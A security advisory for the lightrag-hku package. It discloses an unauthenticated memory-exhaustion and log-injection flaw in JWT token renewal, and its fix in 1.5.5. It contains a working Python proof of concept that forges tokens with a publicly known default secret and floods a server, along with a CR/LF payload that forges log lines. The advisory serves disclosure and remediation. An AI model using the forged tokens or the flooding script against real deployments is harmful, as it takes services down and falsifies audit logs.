Skip to content

Unauthenticated denial of service and log forgery: unbounded pre-authorization write to `_token_renewal_cache`

High
danielaskdd published GHSA-3wg5-5w54-3rfm Jul 31, 2026

Package

pip lightrag-hku (pip)

Affected versions

>= 1.4.9.11, < 1.5.5

Patched versions

1.5.5

Description

Summary

The token auto-renewal path keeps a process-wide dictionary, _token_renewal_cache, keyed on the JWT sub claim, with no size cap and no eviction. An entry is written before any authorization decision, so requests that are ultimately rejected with HTTP 403 still grow the dictionary permanently. In the API-key-only profile (LIGHTRAG_API_KEY set, AUTH_ACCOUNTS unset) the JWT signing secret falls back to the public constant DEFAULT_TOKEN_SECRET, so an unauthenticated attacker can mint signature-valid tokens with an arbitrary sub of up to roughly 32 KB each. A new sub per request inserts a new entry every time.

The same unchecked sub is written unsanitized into an INFO log line on every renewal. Because sub may contain CR/LF, each unauthenticated rejected request can also inject forged log records.

Demonstrated impact: 200 unauthenticated requests, every one rejected with 403, permanently retain 6.10 MiB of server memory and can inject attacker-chosen log lines indistinguishable from genuine ones.

Severity / CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Score: 7.5 (High). Unauthenticated, low complexity, no user interaction, availability impact only.

The log-injection secondary maps to CWE-117 and is reported here as part of the same defect rather than as a separate issue.

Affected component

This defect is FIXED in 1.5.5, released 2026-07-31. Line numbers below describe the vulnerable code as it stood at v1.5.5rc1, the last affected release, and at commit 3fb91168 on origin/main, because the two differ. See the Fix section for what 1.5.5 changed.

  • _token_renewal_cache declaration (no cap, no eviction): lightrag/api/utils_api.py:29 at v1.5.5rc1, :63 at 3fb91168
  • the auto-renewal block inside get_combined_auth_dependency.combined_dependency, which runs before the authorization decision: lightrag/api/utils_api.py:136-212 at v1.5.5rc1, :229-310 at 3fb91168
  • the _RENEWAL_MIN_INTERVAL rate-limiting check, keyed on the attacker-controlled sub: lightrag/api/utils_api.py:176-208 at v1.5.5rc1, :265-282 at 3fb91168
  • logger.info(f"Token auto-renewed for user {username} ..."), unsanitized: lightrag/api/utils_api.py:198-201 at v1.5.5rc1, :285-288 at 3fb91168
  • fallback to DEFAULT_TOKEN_SECRET when AUTH_ACCOUNTS is unset: lightrag/api/auth.py:34 at v1.5.5rc1, :51 at 3fb91168
  • TOKEN_AUTO_RENEW defaults to True: lightrag/api/config.py:651 at v1.5.5rc1, :767 at 3fb91168

At v1.5.5rc1 the file's own step comments confirm the ordering: # 1. Check if path is in whitelist at line 128, # 2. Validate token first at 136, the rate-limiting block containing the cache write opening at 176 and closing at 208, the cache write itself at 195, # 4. Validate API key at 247, and return # API key validation successful at 253. The pre-authorization write executes 58 lines before the API-key authority.

Tested at commit 3fb91168 on origin/main, api version 0324, and verified present at v1.5.5rc1 (published 2026-07-13), where the renewal block, the uncapped dict and the unsanitized log line were all intact. 1.5.5 was released on 2026-07-31 and fixes all three. Earlier verifications at f2971405 and e3bbeb2 are byte-identical for these three files.

Affected range: pip package lightrag-hku, >= 1.4.9.11, < 1.5.5. Fixed in 1.5.5.

First affected release: 1.4.9.11 (PyPI upload 2026-01-15). The preceding release 1.4.9.10 (2025-12-23) has zero matches for /renew|Renew/ in lightrag/api/utils_api.py and no TOKEN_AUTO_RENEW in lightrag/api/config.py, so the config flag, the cache and the unsanitized log line all land as one unit in 1.4.9.11, and both CWEs share that single introduction point. At v1.4.9.11 the evidence is lightrag/api/utils_api.py:28 (declaration), :29 (_RENEWAL_MIN_INTERVAL), :184 (pre-authorization write) and :187-190 (log line), with the pre-authorization ordering already present: # 2. Validate token first at 125, # 4. Validate API key at 225, and return # API key validation successful at 231.

Root cause

Two facts combine.

  1. The premise is a known, still-unpatched weakness, cited here rather than re-reported. GHSA-f4vv-55c2-5789 (high, patched_versions: null, vulnerable <= 1.4.15) publishes that when LIGHTRAG_API_KEY is set and AUTH_ACCOUNTS is unset, an attacker can mint a valid guest JWT offline using the hardcoded secret, and that the CVE-2026-30762 fix only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable. That published weakness is the attacker's oracle for arbitrary sub values. It is still present at 3fb91168: AuthHandler.__init__ assigns the public constant DEFAULT_TOKEN_SECRET = "lightrag-jwt-default-secret-key!" (lightrag/api/config.py:64 at 3fb91168) when AUTH_ACCOUNTS is unset (lightrag/api/auth.py:34 at v1.5.5rc1, :51 at 3fb91168), and raises for a missing TOKEN_SECRET only when AUTH_ACCOUNTS is set, which is why the profile boundary matters. Nothing new is claimed about the secret. The new defect is what the server then does with the sub value that oracle produces.

  2. The renewal cache write happens pre-authorization and is unbounded. The auto-renewal block is step 2 of the combined dependency; the API-key check is step 4. When the presented token is near expiry it executes _token_renewal_cache[username] = current_time, where username is the raw sub claim, on a module-level dict with no size cap and no eviction. Every rejected request leaves a permanent entry whose key is up to ~32 KB of attacker-chosen bytes.

The defect defeats an existing, labeled control. The block is headed # ========== Token Renewal Rate Limiting ========== and enforces _RENEWAL_MIN_INTERVAL = 60 seconds between renewals "for same user", keyed solely on sub. A new forged sub per request makes last_renewal always 0, so the interval check passes on 100% of requests and the limiter is defeated while still growing the dictionary.

The sibling LoginRateLimiter (lightrag/api/login_rate_limit.py:46 on origin/main at 3fb91168, which had not shipped in any release up to and including v1.5.5rc1) caps tracked keys at DEFAULT_MAX_TRACKED_KEYS = 10_000, refuses to evict live records, and documents the exact attack: "otherwise an attacker could clear a lockout by flooding unique keys." Its docstring cross-references the token-renewal cache, which has no equivalent bound. The renewal cache is the analogous structure on the same request path, missing the guard its sibling carries. The point is that the project's own in-progress work already recognized this hazard for the sibling structure. It was not a claim that a release shipped the guard, and 1.5.5 has since bounded the renewal cache directly.

Impact

  • Unauthenticated memory exhaustion. Measured against a real uvicorn server over raw sockets: 200 requests, all answered 403 Forbidden, retained 6,400,490 bytes (6.10 MiB) in 0.1 s, about 32 KB per request. Growth is permanent: nothing evicts, nothing caps, and entries survive until process restart. Projected retention at a sustained 100 req/s is about 183 MiB/min. A single attacker can take down the API process and, on a container with a memory limit, trigger OOM kills and restart loops.
  • Log injection and log/disk exhaustion (CWE-117). The renewal log line interpolates the raw sub. A sub containing CR/LF injects forged log records: "alice\nCRITICAL:lightrag: SECURITY AUDIT PASSED - admin login from 10.0.0.1\nbob" produces a fabricated CRITICAL:lightrag: entry indistinguishable from a genuine one. Combined with the 32 KB per-request ceiling this is also unauthenticated log/disk exhaustion. This is a guard missing from one path, not absent hardening: origin/main at 3fb91168 adds safe_log_value in lightrag/utils.py:382, whose docstring names log injection via CR/LF as the exact hazard, and applies it to the rate-limit log in login_rate_limit.py:197 and the audit logs in document_routes.py. Neither safe_log_value nor login_rate_limit.py had shipped as of v1.5.5rc1, so there the renewal log line is unsanitized and no equivalent helper exists to call. 1.5.5 ships safe_log_value and applies it here. The renewal log line on the same request path interpolates the attacker-controlled value raw.

The attack works in the fully-open default profile as well, but crosses no boundary there. The honest boundary is the API-key-only profile, which is a documented, recommended configuration: env.example instructs operators to set at least one of AUTH_ACCOUNTS / LIGHTRAG_API_KEY. The attacker holds no credential, is correctly rejected on every request, and still consumes unbounded server memory and log integrity. The limitation is stated plainly: the profile this attack needs is one whose authentication is already publicly bypassable per GHSA-f4vv-55c2-5789, so anyone able to reach this path can also already bypass X-API-Key. What is added here is that the same forged token writes permanent server-side state on a request the server rejects, on a code path no published advisory covers and no released fix closes.

Proof of Concept

Environment: LIGHTRAG_API_KEY set, AUTH_ACCOUNTS unset, WHITELIST_PATHS=/health so the result does not depend on the Ollama /api/* exemption. Real get_combined_auth_dependency mounted on a route, served by real uvicorn, driven over raw sockets. Tokens forged with the public DEFAULT_TOKEN_SECRET.

The sys.path.insert below points at a local checkout of origin/main at 3fb91168, so these numbers were produced against unreleased main, not against a released version. The result carries over to v1.5.5rc1, where the renewal block, the cache write, the log line and the step ordering are the same. No released version was load-tested.

"""Unauthenticated requests, all rejected with 403, permanently grow the
server-side _token_renewal_cache. Real uvicorn over raw sockets."""
import os, sys, threading, time, socket, logging
os.environ.pop("AUTH_ACCOUNTS", None); os.environ.pop("TOKEN_SECRET", None)
os.environ["LIGHTRAG_API_KEY"] = "the-operators-secret-api-key"
os.environ["WHITELIST_PATHS"] = "/health"
sys.path.insert(0, os.path.abspath("repo"))
logging.disable(logging.CRITICAL)

from datetime import datetime, timedelta, timezone
import jwt, uvicorn
from lightrag.api.config import DEFAULT_TOKEN_SECRET
from lightrag.api import utils_api
from lightrag.api.utils_api import get_combined_auth_dependency
from fastapi import FastAPI, Depends

app = FastAPI()
dep = get_combined_auth_dependency("the-operators-secret-api-key")
@app.get("/documents", dependencies=[Depends(dep)])
async def documents(): return {"secret": "ALL DOCUMENTS"}

cfg = uvicorn.Config(app, host="127.0.0.1", port=8791, log_level="critical")
srv = uvicorn.Server(cfg); threading.Thread(target=srv.run, daemon=True).start(); time.sleep(2.5)

def forge(u):
    return jwt.encode({"sub": u, "exp": datetime.now(timezone.utc)+timedelta(hours=1),
                       "role": "guest", "metadata": {}}, DEFAULT_TOKEN_SECRET, algorithm="HS256")

def send(tok):
    s = socket.create_connection(("127.0.0.1", 8791), timeout=10)
    s.sendall(f"GET /documents HTTP/1.1\r\nHost: x\r\nAuthorization: Bearer {tok}\r\nConnection: close\r\n\r\n".encode())
    d=b""
    while True:
        try: b=s.recv(65536)
        except Exception: break
        if not b: break
        d+=b
    s.close()
    return d.split(b"\r\n",1)[0].decode() if d else "NO RESPONSE"

for size in (1_000, 4_000, 8_000, 16_000, 32_000, 100_000):
    st = send(forge("B"*size))
    print(f"sub={size:>7} bytes -> {st}")

utils_api._token_renewal_cache.clear()
N, SIZE = 200, 32_000
t0=time.time()
codes=set()
for i in range(N):
    codes.add(send(forge("C"*SIZE + str(i))))
dt=time.time()-t0
held = sum(len(k) for k in utils_api._token_renewal_cache)
print(f"\n{N} unauthenticated requests, statuses={codes}")
print(f"cache entries: {len(utils_api._token_renewal_cache)}")
print(f"attacker-controlled bytes retained: {held:,} ({held/1024/1024:.2f} MiB) in {dt:.1f}s")
print(f"projected retention at 100 req/s: {held/N*100/1024/1024*60:.0f} MiB/min")
srv.should_exit=True

Output:

sub=   1000 bytes -> HTTP/1.1 403 Forbidden
sub=   4000 bytes -> HTTP/1.1 403 Forbidden
sub=   8000 bytes -> HTTP/1.1 403 Forbidden
sub=  16000 bytes -> HTTP/1.1 403 Forbidden
sub=  32000 bytes -> HTTP/1.1 403 Forbidden
sub= 100000 bytes -> HTTP/1.1 400 Bad Request

200 unauthenticated requests, statuses={'HTTP/1.1 403 Forbidden'}
cache entries: 200
attacker-controlled bytes retained: 6,400,490 (6.10 MiB) in 0.1s
projected retention at 100 req/s: 183 MiB/min

Log-injection secondary, captured from the server's own logger on a single unauthenticated request that was rejected with 403:

INFO:Token auto-renewed for user alice
CRITICAL:lightrag: SECURITY AUDIT PASSED - admin login from 10.0.0.1
bob (role: guest, remaining: 3599s)

The middle line is attacker-forged.

Fix

Fixed in 1.5.5 (released 2026-07-31), and the fix addresses all three aspects rather than only the
memory growth. Verified at tag v1.5.5 in lightrag/api/utils_api.py (blob 7ff6d3a3f374, 806 lines):

  • CWE-770 bounded. _token_renewal_cache is now an OrderedDict (85) written only through
    _record_token_renewal (101-125), which purges entries older than _RENEWAL_MIN_INTERVAL from
    the head and then enforces _MAX_TRACKED_RENEWALS = 10_000 (87) as a hard ceiling. Insertion
    order is maintained as time order, both passes are amortized O(1), and the declaration comment
    explains why evicting a live entry is safe here but not in LoginRateLimiter.
  • CWE-117 sanitized. Both interpolations now pass through safe_log_value: the renewal log at
    205-206 and the rate-limit skip log at 185.
  • Pre-authorization write closed. _renew_token_if_needed (128) is invoked only after the
    authorization decision, at 446, 454 and 487. The comment at 432-433 records that running it
    earlier let an unauthenticated caller grow the state on requests the server rejects.

The remaining hardening suggestion, rejecting or truncating over-long sub claims at validation
time, is satisfied by MAX_TOKEN_SUBJECT_LENGTH in AuthHandler.validate_token, which the
declaration comment at 74-75 names as the first of the three bounds.

References

  • Fixed in 1.5.5, released 2026-07-31. Affected range: pip package lightrag-hku, >= 1.4.9.11, < 1.5.5
  • Tested at commit 3fb91168 on origin/main, api version 0324; last affected release tag v1.5.5rc1 (published 2026-07-13)
  • First affected release: 1.4.9.11 (2026-01-15), evidence at lightrag/api/utils_api.py:28, :29, :184, :187-190 at v1.4.9.11; the preceding release 1.4.9.10 (2025-12-23) has no renewal mechanism
  • Vulnerable state: lightrag/api/utils_api.py:29-30, :136-212 at v1.5.5rc1 (:63-64, :229-310 at 3fb91168)
  • lightrag/api/auth.py:34 at v1.5.5rc1 (:51 at 3fb91168)
  • lightrag/api/config.py:651 at v1.5.5rc1 (:767 at 3fb91168)
  • Fix: lightrag/api/utils_api.py:85, :87, :101-125, :185, :205-206, :432-433, :446 at v1.5.5
  • lightrag/api/login_rate_limit.py:46 and lightrag/utils.py:382 safe_log_value on origin/main at 3fb91168, both shipped in 1.5.5

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Improper Output Neutralization for Logs

The product constructs a log message from external input, but it does not neutralize or incorrectly neutralizes special elements when the message is written to a log file. Learn more on MITRE.

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

Credits